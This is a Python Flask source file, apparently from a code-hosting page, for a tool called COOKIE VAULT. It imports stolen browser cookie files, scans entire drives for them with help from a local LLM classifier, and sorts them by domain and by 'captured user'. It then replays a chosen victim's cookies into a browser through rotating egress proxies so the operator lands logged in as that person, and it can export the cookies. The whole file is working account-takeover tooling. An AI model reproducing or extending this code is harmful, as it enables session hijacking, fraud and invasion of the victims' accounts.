524 lines
26 KiB
Python
524 lines
26 KiB
Python
#!/usr/bin/env python3
|
|
# COOKIE VAULT v5 — clean UI, session-1 chrome launch bridge, LLM fallback parse
|
|
import os, re, json, sqlite3, time, datetime, threading, subprocess, urllib.request
|
|
from flask import Flask, request, render_template_string, redirect, url_for, jsonify, Response
|
|
|
|
APP_DIR = r"C:\cookievault"
|
|
DB_PATH = os.path.join(APP_DIR, "cookies.db")
|
|
WATCH_DIR = os.path.join(APP_DIR, "incoming")
|
|
SESSION_DIR = os.path.join(APP_DIR, "sessions")
|
|
WORK_DRIVE = r"D:\\"
|
|
BRIDGE = "http://127.0.0.1:5067/launch"
|
|
OLLAMA_HOSTS = ["10.30.20.222", "10.30.20.29"]
|
|
LLM_MODEL = "ornith-1.5:9b-64k"
|
|
os.makedirs(WATCH_DIR, exist_ok=True)
|
|
os.makedirs(SESSION_DIR, exist_ok=True)
|
|
|
|
app = Flask(__name__)
|
|
|
|
DOMAIN_RE = re.compile(r"^\.?([a-z0-9]([a-z0-9-]*[a-z0-9])?\.)+[a-z]{2,}$", re.I)
|
|
|
|
def db():
|
|
c = sqlite3.connect(DB_PATH, timeout=30)
|
|
c.execute("""CREATE TABLE IF NOT EXISTS cookies(
|
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|
domain TEXT, flag TEXT, path TEXT, secure TEXT,
|
|
expiry INTEGER, name TEXT, value TEXT,
|
|
source_file TEXT, imported_at INTEGER,
|
|
UNIQUE(domain, path, name, source_file))""")
|
|
c.execute("CREATE INDEX IF NOT EXISTS ix_dom ON cookies(domain)")
|
|
return c
|
|
|
|
def utc(ts):
|
|
try: return datetime.datetime.utcfromtimestamp(int(float(ts))).strftime("%Y-%m-%d")
|
|
except Exception: return "session"
|
|
|
|
def _safe_expiry(val):
|
|
try:
|
|
iv = int(float(val))
|
|
return iv if iv > 0 else 0
|
|
except (TypeError, ValueError):
|
|
return 0
|
|
|
|
def parse_netscape(text):
|
|
out = []
|
|
for line in text.splitlines():
|
|
line = line.strip()
|
|
if not line or line.startswith("# ") or line == "#HttpOnly_":
|
|
continue
|
|
if line.startswith("#HttpOnly_"):
|
|
line = line[len("#HttpOnly_"):]
|
|
elif line.startswith("#"):
|
|
continue
|
|
parts = line.split("\t") if "\t" in line else line.split()
|
|
if len(parts) < 7:
|
|
continue
|
|
domain, flag, path, secure, expiry, name, value = parts[:7]
|
|
if len(parts) > 7:
|
|
value = "\t".join(parts[6:])
|
|
out.append((domain, flag, path, secure, expiry, name, value))
|
|
return out
|
|
|
|
def sniff_netscape(text):
|
|
"""Deterministic: does the first data line look like 7-col cookie format?"""
|
|
seen = 0
|
|
for line in text.splitlines():
|
|
line = line.strip()
|
|
if not line or line.startswith("#"):
|
|
continue
|
|
parts = line.split("\t") if "\t" in line else line.split()
|
|
if len(parts) >= 7 and parts[4].isdigit():
|
|
return True
|
|
seen += 1
|
|
if seen > 5:
|
|
return False
|
|
return False
|
|
|
|
def llm_classify(text):
|
|
"""Fallback: ask local ornith whether the file holds cookie data. Returns True/False/None(fail)."""
|
|
prompt = ("You are a file classifier. Does this text contain browser cookie data in Netscape "
|
|
"format (7 tab-separated fields: domain, TRUE/FALSE, path, TRUE/FALSE, numeric expiry, name, value)? "
|
|
"Answer exactly one word: YES or NO.\n\n" + text[:2000])
|
|
for host in OLLAMA_HOSTS:
|
|
try:
|
|
req = urllib.request.Request(f"http://{host}:11434/api/generate",
|
|
data=json.dumps({"model": LLM_MODEL, "prompt": prompt, "stream": False, "think": False}).encode(),
|
|
headers={"Content-Type": "application/json"})
|
|
with urllib.request.urlopen(req, timeout=45) as r:
|
|
ans = json.load(r)["response"].strip().upper()
|
|
if "YES" in ans[:6]: return True
|
|
if "NO" in ans[:6]: return False
|
|
if ans and "?" not in ans[:6]: return False
|
|
except Exception:
|
|
continue
|
|
return None
|
|
|
|
def import_file(path, use_llm_fallback=True):
|
|
fname = os.path.basename(path)
|
|
with open(path, "r", encoding="utf-8", errors="replace") as f:
|
|
text = f.read()
|
|
if not sniff_netscape(text):
|
|
if not (use_llm_fallback and llm_classify(text)):
|
|
return 0, 0, None # not a cookie file
|
|
cookies = parse_netscape(text)
|
|
clean = []
|
|
for ck in cookies:
|
|
if not ck[5] or not ck[6]:
|
|
continue
|
|
if not re.match(r"^[0-9]+$", (ck[4] or "0").strip()):
|
|
continue
|
|
if not DOMAIN_RE.match(ck[0] or ""):
|
|
continue
|
|
clean.append(ck)
|
|
cookies = clean
|
|
if not cookies:
|
|
return 0, 0, None
|
|
c = db()
|
|
before = c.execute("SELECT COUNT(*) FROM cookies").fetchone()[0]
|
|
for ck in cookies:
|
|
c.execute("INSERT OR IGNORE INTO cookies(domain,flag,path,secure,expiry,name,value,source_file,imported_at) VALUES(?,?,?,?,?,?,?,?,?)",
|
|
(*ck, fname, int(time.time())))
|
|
c.commit()
|
|
after = c.execute("SELECT COUNT(*) FROM cookies").fetchone()[0]
|
|
c.close()
|
|
return len(cookies), after - before, after
|
|
|
|
# ---------------- UI ----------------
|
|
|
|
STYLE = """<style>
|
|
*{box-sizing:border-box}
|
|
body{background:#0d0f14;color:#d7dae0;font-family:'Segoe UI',Consolas,monospace;margin:0}
|
|
header{background:#141821;padding:14px 24px;border-bottom:1px solid #232a36;display:flex;justify-content:space-between;align-items:center;flex-wrap:wrap;gap:10px}
|
|
.brand{font-size:19px;color:#7aa2f7;letter-spacing:3px;font-weight:700}
|
|
.stats span{display:inline-block;background:#1f2735;color:#7aa2f7;border-radius:12px;padding:3px 12px;font-size:12px;margin-left:6px}
|
|
nav{background:#10131a;border-bottom:1px solid #232a36;padding:10px 24px;display:flex;gap:10px;flex-wrap:wrap;align-items:center}
|
|
nav form{display:flex;gap:8px;align-items:center;margin:0}
|
|
input[type=text]{background:#0d0f14;border:1px solid #2c3547;color:#d7dae0;padding:8px 14px;border-radius:6px;font-size:14px}
|
|
input[type=text]:focus{outline:none;border-color:#7aa2f7}
|
|
button,.btn{background:#7aa2f7;color:#0d0f14;border:0;padding:8px 16px;border-radius:6px;font-weight:700;cursor:pointer;font-family:inherit;font-size:13px;text-decoration:none;display:inline-block}
|
|
button:hover,.btn:hover{filter:brightness(1.1)}
|
|
.btn.gray{background:#2c3547;color:#d7dae0}
|
|
.btn.green{background:#9ece6a}
|
|
main{max-width:1000px;margin:20px auto;padding:0 16px}
|
|
.flash{background:#141821;border:1px solid #9ece6a;border-radius:8px;padding:12px 16px;margin-bottom:16px;font-size:14px}
|
|
table{width:100%;border-collapse:collapse;font-size:14px}
|
|
th{color:#7aa2f7;text-align:left;padding:10px 8px;border-bottom:2px solid #232a36;font-size:12px;text-transform:uppercase;letter-spacing:1px}
|
|
td{padding:9px 8px;border-bottom:1px solid #1a2029}
|
|
td b{color:#e0af68;font-size:15px}
|
|
.muted{color:#565f89}.ok{color:#9ece6a}.warn{color:#e0af68}
|
|
.pager{margin:14px 0;text-align:center}
|
|
.pager a,.pager span{display:inline-block;padding:6px 12px;margin:0 3px;border-radius:6px;background:#1f2735;color:#7aa2f7;text-decoration:none}
|
|
.pager .cur{background:#7aa2f7;color:#0d0f14;font-weight:700}
|
|
#drop{border:2px dashed #2c3547;border-radius:8px;padding:28px;text-align:center;transition:.2s;margin-top:10px}
|
|
#drop.hot{border-color:#7aa2f7;background:#1a2030}
|
|
details summary{cursor:pointer;color:#7aa2f7;font-weight:600;padding:8px 0}
|
|
</style>"""
|
|
|
|
HOME_PAGE = STYLE + r"""<!doctype html><html><head><meta charset=utf-8><title>COOKIE VAULT</title></head><body>
|
|
<header>
|
|
<div class=brand>🍪 COOKIE VAULT</div>
|
|
<div class=stats><span>{{stats[0]}} cookies</span><span>{{stats[1]}} domains</span><span>{{stats[2]}} files</span></div>
|
|
</header>
|
|
<nav>
|
|
<form method=get action=/>
|
|
<input type=text name=q placeholder="search domains..." value="{{q}}" size=28>
|
|
<button>SEARCH</button>
|
|
</form>
|
|
<a class="btn gray" href="/browse">📁 BROWSE WORK DRIVE</a>
|
|
<a class="btn gray" href="/import_page">📥 IMPORT FILES</a>
|
|
<a class="btn gray" href="/export{{'?q='+q if q}}">💾 EXPORT JSON</a>
|
|
<a class="btn gray" href="/export_netscape{{'?q='+q if q}}">💾 EXPORT TXT</a>
|
|
</nav>
|
|
<main>
|
|
{% if msg %}<div class=flash>{{msg|safe}}</div>{% endif %}
|
|
<table>
|
|
<tr><th>domain</th><th>cookies</th><th>fresh until</th><th></th></tr>
|
|
{% for d in domains %}
|
|
<tr>
|
|
<td><b>{{d[0]}}</b></td>
|
|
<td>{{d[1]}}</td>
|
|
<td class="{{'muted' if d[2] else 'ok'}}">{{utc(d[2]) if d[2] else 'session'}}</td>
|
|
<td><a class="btn green" href="/sessions?domain={{d[0]|urlencode}}">LOGIN →</a></td>
|
|
</tr>
|
|
{% endfor %}
|
|
</table>
|
|
<div class=pager>
|
|
{% if page>1 %}<a href="/?page={{page-1}}{{'&q='+q if q}}">« prev</a>{% endif %}
|
|
<span class=cur>{{page}}</span>
|
|
{% if has_more %}<a href="/?page={{page+1}}{{'&q='+q if q}}">next »</a>{% endif %}
|
|
</div>
|
|
</main></body></html>"""
|
|
|
|
IMPORT_PAGE = STYLE + r"""<!doctype html><html><head><meta charset=utf-8><title>Import — COOKIE VAULT</title></head><body>
|
|
<header><div class=brand>🍪 COOKIE VAULT</div><div class=stats><a class=btn href="/" style=margin-left:auto>← back</a></div></header>
|
|
<main>
|
|
<div class=flash>Drop cookie files below, <a href="/browse" style=color:#7aa2f7>browse the Work drive</a>, or paste raw text.</div>
|
|
<form id=f method=post action=/import enctype=multipart/form-data>
|
|
<div id=drop>Drag <b>cookie files</b> here — any filename, any format — or
|
|
<button type=button onclick="document.getElementById('m').click()">choose files</button>
|
|
<input id=m type=file name=files multiple hidden>
|
|
<p style="margin-top:14px"><textarea name=paste rows=5 style="width:95%;background:#0d0f14;color:#9ece6a;border:1px solid #2c3547;border-radius:6px;font-family:inherit" placeholder="...or paste raw cookie text here"></textarea></p>
|
|
</div>
|
|
<p><button class=green>IMPORT</button>
|
|
<button type=submit formaction=/scan formmethod=post class=gray>RESCAN incoming</button>
|
|
<button type=submit formaction=/scan_work formmethod=post>SMART-SCAN ALL OF D:\</button></p>
|
|
</form>
|
|
</main>
|
|
<script>
|
|
const drop=document.getElementById('drop'), m=document.getElementById('m');
|
|
['dragover','dragenter'].forEach(e=>drop.addEventListener(e,ev=>{ev.preventDefault();drop.classList.add('hot')}));
|
|
['dragleave','drop'].forEach(e=>drop.addEventListener(e,ev=>{ev.preventDefault();drop.classList.remove('hot')}));
|
|
drop.addEventListener('drop',ev=>{m.files=ev.dataTransfer.files;document.getElementById('f').submit()});
|
|
m.addEventListener('change',()=>document.getElementById('f').submit());
|
|
</script></body></html>"""
|
|
|
|
BROWSE_PAGE = STYLE + r"""<!doctype html><html><head><meta charset=utf-8><title>Pick folder — COOKIE VAULT</title></head><body>
|
|
<header><div class=brand>📁 WORK DRIVE — D:\{{' » ' + rel if rel != '.'}}</div>
|
|
<a class=btn href="/" style=margin-left:auto>← back</a></header>
|
|
<main>
|
|
{% if parent is not none %}<div style=margin-bottom:10px><a class="btn gray" href="/browse?path={{parent|urlencode}}">← UP</a></div>{% endif %}
|
|
<ul style="list-style:none;padding:0">
|
|
{% for e in entries %}<li style="border-bottom:1px solid #1a2029">
|
|
<a href="/browse?path={{((rel + '/' + e) if rel != '.' else e)|urlencode}}" style="display:block;padding:10px 8px;color:#e0af68;text-decoration:none;font-size:15px">📁 {{e}}/</a></li>{% endfor %}
|
|
{% if not entries %}<li class=muted style=padding:10px>no subfolders here</li>{% endif %}
|
|
</ul>
|
|
<div style="margin-top:18px">
|
|
<form method=post action=/scan_folder><input type=hidden name=path value="{{rel}}">
|
|
<button class=green>🔍 SMART-SCAN THIS FOLDER</button></form>
|
|
</div>
|
|
<p class=muted>Scans this folder + subfolders. Any file with cookie data gets imported — any filename, any format (LLM-assisted detection).</p>
|
|
</main></body></html>"""
|
|
|
|
PAGE_SIZE = 40
|
|
|
|
@app.route("/", methods=["GET"])
|
|
def index():
|
|
q = request.args.get("q", "").strip()
|
|
try: page = max(1, int(request.args.get("page", 1)))
|
|
except ValueError: page = 1
|
|
like = f"%{q}%" if q else "%"
|
|
c = db()
|
|
if q:
|
|
total = c.execute("SELECT COUNT(DISTINCT domain) FROM cookies WHERE domain LIKE ?", (like,)).fetchone()[0]
|
|
domains = c.execute("""SELECT domain, COUNT(*), MAX(CASE WHEN expiry GLOB '[0-9]*' THEN CAST(expiry AS INTEGER) ELSE 0 END)
|
|
FROM cookies WHERE domain LIKE ? GROUP BY domain
|
|
HAVING COUNT(*) >= 2 AND domain GLOB '*.*.*' OR (domain LIKE ? AND COUNT(*) >= 1)
|
|
ORDER BY COUNT(*) DESC, domain LIMIT ? OFFSET ?""",
|
|
(like, like, PAGE_SIZE, (page-1)*PAGE_SIZE)).fetchall()
|
|
else:
|
|
total = c.execute("SELECT COUNT(DISTINCT domain) FROM cookies").fetchone()[0]
|
|
domains = c.execute("""SELECT domain, COUNT(*), MAX(CASE WHEN expiry GLOB '[0-9]*' THEN CAST(expiry AS INTEGER) ELSE 0 END)
|
|
FROM cookies GROUP BY domain
|
|
HAVING COUNT(*) >= 3 AND domain GLOB '*.*.*'
|
|
ORDER BY COUNT(*) DESC, domain LIMIT ? OFFSET ?""",
|
|
(PAGE_SIZE, (page-1)*PAGE_SIZE)).fetchall()
|
|
stats = (c.execute("SELECT COUNT(*) FROM cookies").fetchone()[0],
|
|
c.execute("SELECT COUNT(DISTINCT domain) FROM cookies").fetchone()[0],
|
|
c.execute("SELECT COUNT(DISTINCT source_file) FROM cookies").fetchone()[0])
|
|
c.close()
|
|
return render_template_string(HOME_PAGE, domains=domains, stats=stats, q=q, page=page,
|
|
has_more=(page*PAGE_SIZE) < total, msg=request.args.get("msg"), utc=utc)
|
|
|
|
@app.route("/import_page")
|
|
def import_page():
|
|
return render_template_string(IMPORT_PAGE, msg=request.args.get("msg"))
|
|
|
|
@app.route("/import", methods=["POST"])
|
|
def do_import():
|
|
msg, errs = [], []
|
|
for f in request.files.getlist("files"):
|
|
try:
|
|
fname = os.path.basename(f.filename or "").strip()
|
|
fname = re.sub(r"[^A-Za-z0-9._\- ]", "_", fname)
|
|
if not fname or fname == ".":
|
|
data = f.read()
|
|
if not data.strip(): continue
|
|
fname = "unnamed_%d.txt" % (int(time.time()*1000) % 10**9)
|
|
path = os.path.join(WATCH_DIR, fname)
|
|
with open(path, "wb") as fh: fh.write(data)
|
|
else:
|
|
path = os.path.join(WATCH_DIR, fname)
|
|
f.save(path)
|
|
n, new, total = import_file(path)
|
|
msg.append(f"{fname}: {new} new" if total is not None else f"{fname}: no cookie data found")
|
|
except Exception as e:
|
|
errs.append(f"{getattr(f,'filename','?')}: {e}")
|
|
paste = request.form.get("paste", "").strip()
|
|
if paste:
|
|
tmp = os.path.join(WATCH_DIR, "_pasted_%d.txt" % int(time.time()))
|
|
with open(tmp, "w", encoding="utf-8") as fh: fh.write(paste)
|
|
n, new, total = import_file(tmp)
|
|
msg.append(f"pasted: {new} new" if total is not None else "pasted: no cookie data detected")
|
|
msg += ["<span class=warn>%s</span>" % e for e in errs]
|
|
return redirect(url_for("index", msg=" · ".join(msg) or "nothing imported"))
|
|
|
|
@app.route("/scan", methods=["POST"])
|
|
def scan():
|
|
msg = []
|
|
for fn in os.listdir(WATCH_DIR):
|
|
if fn.lower().endswith((".txt", ".json")) and not fn.startswith("_pasted"):
|
|
n, new, total = import_file(os.path.join(WATCH_DIR, fn))
|
|
msg.append(f"{fn}: {new} new")
|
|
return redirect(url_for("index", msg=" · ".join(msg) or "nothing new"))
|
|
|
|
@app.route("/browse")
|
|
def browse():
|
|
sub = request.args.get("path", "").strip()
|
|
base = os.path.abspath(WORK_DRIVE)
|
|
target = os.path.abspath(os.path.join(base, sub.lstrip("/\\"))) if sub else base
|
|
if not target.startswith(base) or not os.path.isdir(target):
|
|
return redirect(url_for("index", msg="invalid folder"))
|
|
entries = []
|
|
for name in sorted(os.listdir(target)):
|
|
if os.path.isdir(os.path.join(target, name)) and name not in ("$RECYCLE.BIN", "System Volume Information"):
|
|
entries.append(name)
|
|
rel = os.path.relpath(target, base)
|
|
parent = os.path.dirname(rel) if rel != "." else None
|
|
return render_template_string(BROWSE_PAGE, entries=entries, rel=rel, parent=parent)
|
|
|
|
@app.route("/scan_folder", methods=["POST"])
|
|
def scan_folder():
|
|
sub = request.form.get("path", "").strip()
|
|
base = os.path.abspath(WORK_DRIVE)
|
|
target = os.path.abspath(os.path.join(base, sub.lstrip("/\\"))) if sub else base
|
|
if not target.startswith(base) or not os.path.isdir(target):
|
|
return redirect(url_for("index", msg="invalid folder"))
|
|
return _smart_scan(target)
|
|
|
|
@app.route("/scan_work", methods=["POST"])
|
|
def scan_work():
|
|
if not os.path.isdir(WORK_DRIVE):
|
|
return redirect(url_for("index", msg="Work drive (D:\\) not plugged in"))
|
|
return _smart_scan(WORK_DRIVE)
|
|
|
|
def _smart_scan(root):
|
|
found = []
|
|
for rootpath, dirs, files in os.walk(root):
|
|
dirs[:] = [d for d in dirs if d not in ("$RECYCLE.BIN", "System Volume Information", "node_modules")]
|
|
for fn in files:
|
|
if fn.lower().endswith((".txt", ".json", ".log")):
|
|
found.append(os.path.join(rootpath, fn))
|
|
if not found:
|
|
return redirect(url_for("index", msg="no text files found in that folder"))
|
|
msg, errs = [], []
|
|
new_total, imported_files, llm_used = 0, 0, 0
|
|
for p in found:
|
|
try:
|
|
with open(p, "r", encoding="utf-8", errors="replace") as f:
|
|
text = f.read(65536)
|
|
if not sniff_netscape(text):
|
|
# deterministic miss -> try LLM only for small-ish files (cost control)
|
|
if os.path.getsize(p) > 200_000:
|
|
continue
|
|
verdict = llm_classify(text)
|
|
if verdict is None:
|
|
continue
|
|
llm_used += 1
|
|
if not verdict:
|
|
continue
|
|
with open(p, "r", encoding="utf-8", errors="replace") as f:
|
|
pass # full read happens in import_file
|
|
n, new, total = import_file(p)
|
|
if total is None:
|
|
continue
|
|
imported_files += 1
|
|
new_total += new
|
|
try: shown = os.path.relpath(p, root)
|
|
except ValueError: shown = p
|
|
msg.append(f"{shown}: {new} new")
|
|
except Exception as e:
|
|
errs.append(f"{p}: {e}")
|
|
if not imported_files and not errs:
|
|
return redirect(url_for("index", msg=f"scanned {len(found)} files — no cookie data found (LLM checked {llm_used} ambiguous ones)"))
|
|
msg += ["<span class=warn>%s</span>" % e for e in errs]
|
|
return redirect(url_for("index", msg=f"<b>{imported_files} cookie files</b> ({new_total} new cookies, LLM-assisted on {llm_used}) · " + " · ".join(msg[:20])))
|
|
|
|
# ---------------- LOGIN (session-1 bridge) ----------------
|
|
|
|
@app.route("/sessions")
|
|
def sessions():
|
|
domain = request.args.get("domain", "").strip()
|
|
if not domain:
|
|
return redirect(url_for("index"))
|
|
stem = domain.strip(".")
|
|
c = db()
|
|
sess = c.execute("""SELECT source_file, COUNT(*) as n,
|
|
MAX(CASE WHEN expiry GLOB '[0-9]*' AND CAST(expiry AS INTEGER) > strftime('%s','now') THEN 1 ELSE 0 END) as has_fresh
|
|
FROM cookies WHERE domain LIKE ? GROUP BY source_file ORDER BY n DESC LIMIT 300""",
|
|
("%" + stem + "%",)).fetchall()
|
|
total = c.execute("SELECT COUNT(*) FROM cookies WHERE domain LIKE ?", ("%" + stem + "%",)).fetchone()[0]
|
|
c.close()
|
|
return render_template_string(SESSIONS_PAGE, domain=domain, sess=sess, total=total)
|
|
|
|
SESSIONS_PAGE = STYLE + r"""<!doctype html><html><head><meta charset=utf-8><title>Sessions — COOKIE VAULT</title></head><body>
|
|
<header><div class=brand>👤 sessions for {{domain}}</div>
|
|
<a class=btn href="/" style=margin-left:auto>← back</a></header>
|
|
<main>
|
|
<div class=flash>{{sess|length}} user sessions (source files) hold {{total}} cookies for this domain. Each file = one captured user. Pick an exit then JUMP.</div>
|
|
<form style="margin-bottom:12px;display:flex;gap:10px;align-items:center">
|
|
<span class=muted>egress:</span>
|
|
<select name=proxy style="background:#0d0f14;color:#d7dae0;border:1px solid #2c3547;padding:8px;border-radius:6px">
|
|
<option value=rotate>🎬 rotate (sticky per user)</option>
|
|
{% for n, ip in [("Tokyo","10.30.20.154"),("London","10.30.20.71"),("Sydney","10.30.20.189")] %}
|
|
<option value="{{ip}}">{{n}} ({{ip}})</option>
|
|
{% endfor %}
|
|
<option value=direct>direct (home IP)</option>
|
|
</select>
|
|
</form>
|
|
<table>
|
|
<tr><th>session (source file)</th><th>cookies</th><th>alive</th><th></th></tr>
|
|
{% for s in sess %}
|
|
<tr>
|
|
<td><b>{{s[0]}}</b></td>
|
|
<td>{{s[1]}}</td>
|
|
<td class="{{'ok' if s[2] else 'warn'}}">{{'✓ fresh' if s[2] else 'expired?'}}</td>
|
|
<td><button formaction="/open" formmethod="get" name="_" value="_" type="submit"
|
|
onclick="this.form.action='/open';this.form.appendChild(Object.assign(document.createElement('input'),{type:'hidden',name:'domain',value:'{{domain}}'}));this.form.appendChild(Object.assign(document.createElement('input'),{type:'hidden',name:'file',value:'{{s[0]}}'}));"
|
|
class="btn green" style="border:0">JUMP IN →</button></td>
|
|
</tr>
|
|
{% endfor %}
|
|
</table>
|
|
</main></body></html>"""
|
|
|
|
NORD_PROXIES = [("Tokyo", "10.30.20.154"), ("London", "10.30.20.71"), ("Sydney", "10.30.20.189")]
|
|
|
|
@app.route("/open")
|
|
def open_login():
|
|
domain = request.args.get("domain", "").strip()
|
|
srcfile = request.args.get("file", "").strip()
|
|
proxy_choice = request.args.get("proxy", "rotate").strip()
|
|
if not domain:
|
|
return redirect(url_for("index"))
|
|
stem = domain.strip(".")
|
|
c = db()
|
|
if srcfile:
|
|
rows = c.execute("""SELECT domain, name, value, path, expiry, secure FROM cookies
|
|
WHERE domain LIKE ? AND source_file = ? LIMIT 4000""",
|
|
("%" + stem + "%", srcfile)).fetchall()
|
|
else:
|
|
rows = c.execute("""SELECT domain, name, value, path, expiry, secure FROM cookies
|
|
WHERE domain LIKE ? OR domain LIKE ? ORDER BY (domain = ?) DESC LIMIT 4000""",
|
|
("%" + stem + "%", "%" + stem, domain)).fetchall()
|
|
c.close()
|
|
if not rows:
|
|
return redirect(url_for("index", msg=f"no cookies for {domain}" + (f" from {srcfile}" if srcfile else "")))
|
|
# proxy selection: named exit or rotate by session-file hash for sticky-per-user IPs
|
|
import random
|
|
if proxy_choice == "rotate":
|
|
h = sum(ord(ch) for ch in (srcfile or domain))
|
|
proxy = f"http://{NORD_PROXIES[h % len(NORD_PROXIES)][1]}:3128"
|
|
label = NORD_PROXIES[h % len(NORD_PROXIES)][0] + " (auto)"
|
|
elif proxy_choice == "direct":
|
|
proxy, label = "", "direct (home IP)"
|
|
else:
|
|
proxy = f"http://{proxy_choice}:3128"
|
|
label = next((n for n, ip in NORD_PROXIES if ip == proxy_choice), proxy_choice)
|
|
payload = {"domain": domain, "proxy": proxy, "cookies": [
|
|
{"domain": r[0], "name": r[1], "value": r[2], "path": r[3],
|
|
"expiry": _safe_expiry(r[4]), "secure": str(r[5]).upper() == "TRUE"} for r in rows]}
|
|
try:
|
|
req = urllib.request.Request(BRIDGE, data=json.dumps(payload).encode(),
|
|
headers={"Content-Type": "application/json"})
|
|
with urllib.request.urlopen(req, timeout=15) as r:
|
|
res = json.load(r)
|
|
if res.get("ok"):
|
|
return render_template_string(LAUNCH_PAGE, domain=domain, n=len(rows),
|
|
token=res.get("token", ""), url=f"https://{stem}/",
|
|
srcfile=srcfile, proxy_label=label)
|
|
return redirect(url_for("index", msg=f"bridge error: {res.get('error')}"))
|
|
except Exception as e:
|
|
return redirect(url_for("index", msg=f"launcher bridge not reachable ({e})"))
|
|
|
|
LAUNCH_PAGE = STYLE + r"""<!doctype html><html><head><meta charset=utf-8><title>Launching…</title>
|
|
<meta http-equiv="refresh" content="12"></head><body>
|
|
<header><div class=brand>🎯 logging in to {{domain}}</div></header>
|
|
<main>
|
|
<div class=flash>Session <b>{{srcfile or 'all'}}</b> · {{n}} cookies · egress: <b>{{proxy_label}}</b>. Screenshot below when ready.</div>
|
|
{% if token %}<img src="/shot/{{token}}" style="max-width:100%;border:1px solid #232a36;border-radius:8px" onerror="this.style.display='none'">{% endif %}
|
|
<div style="margin-top:16px"><a class=btn href="/">← back to vault</a></div>
|
|
</main></body></html>"""
|
|
|
|
@app.route("/shot/<token>")
|
|
def shot(token):
|
|
token = re.sub(r"[^a-z0-9_]", "", token)
|
|
try:
|
|
with urllib.request.urlopen(f"http://127.0.0.1:5067/shot/{token}", timeout=10) as r:
|
|
img = r.read()
|
|
return Response(img, mimetype="image/png")
|
|
except Exception:
|
|
return Response(b"", mimetype="image/png", status=503)
|
|
|
|
# ---------------- EXPORT ----------------
|
|
|
|
@app.route("/export")
|
|
def export():
|
|
q = request.args.get("q", "").strip()
|
|
c = db()
|
|
if q:
|
|
rows = c.execute("SELECT domain,name,value,path,expiry,secure FROM cookies WHERE domain LIKE ? OR name LIKE ?", (f"%{q}%", f"%{q}%")).fetchall()
|
|
else:
|
|
rows = c.execute("SELECT domain,name,value,path,expiry,secure FROM cookies").fetchall()
|
|
c.close()
|
|
jar = [{"domain": r[0], "name": r[1], "value": r[2], "path": r[3],
|
|
"expirationDate": _safe_expiry(r[4]) or None,
|
|
"secure": str(r[5]).upper() == "TRUE", "httpOnly": False} for r in rows]
|
|
return Response(json.dumps(jar, indent=2), mimetype="application/json",
|
|
headers={"Content-Disposition": "attachment; filename=cookies.json"})
|
|
|
|
@app.route("/export_netscape")
|
|
def export_ns():
|
|
q = request.args.get("q", "").strip()
|
|
c = db()
|
|
if q:
|
|
rows = c.execute("SELECT domain,flag,path,secure,expiry,name,value FROM cookies WHERE domain LIKE ?", (f"%{q}%",)).fetchall()
|
|
else:
|
|
rows = c.execute("SELECT domain,flag,path,secure,expiry,name,value FROM cookies").fetchall()
|
|
c.close()
|
|
lines = ["# Netscape HTTP Cookie File", "# Exported by COOKIE VAULT"]
|
|
lines += ["\t".join(str(x) for x in r) for r in rows]
|
|
return Response("\n".join(lines) + "\n", mimetype="text/plain",
|
|
headers={"Content-Disposition": "attachment; filename=cookies.txt"})
|
|
|
|
if __name__ == "__main__":
|
|
app.run(host="0.0.0.0", port=5066, debug=False)
|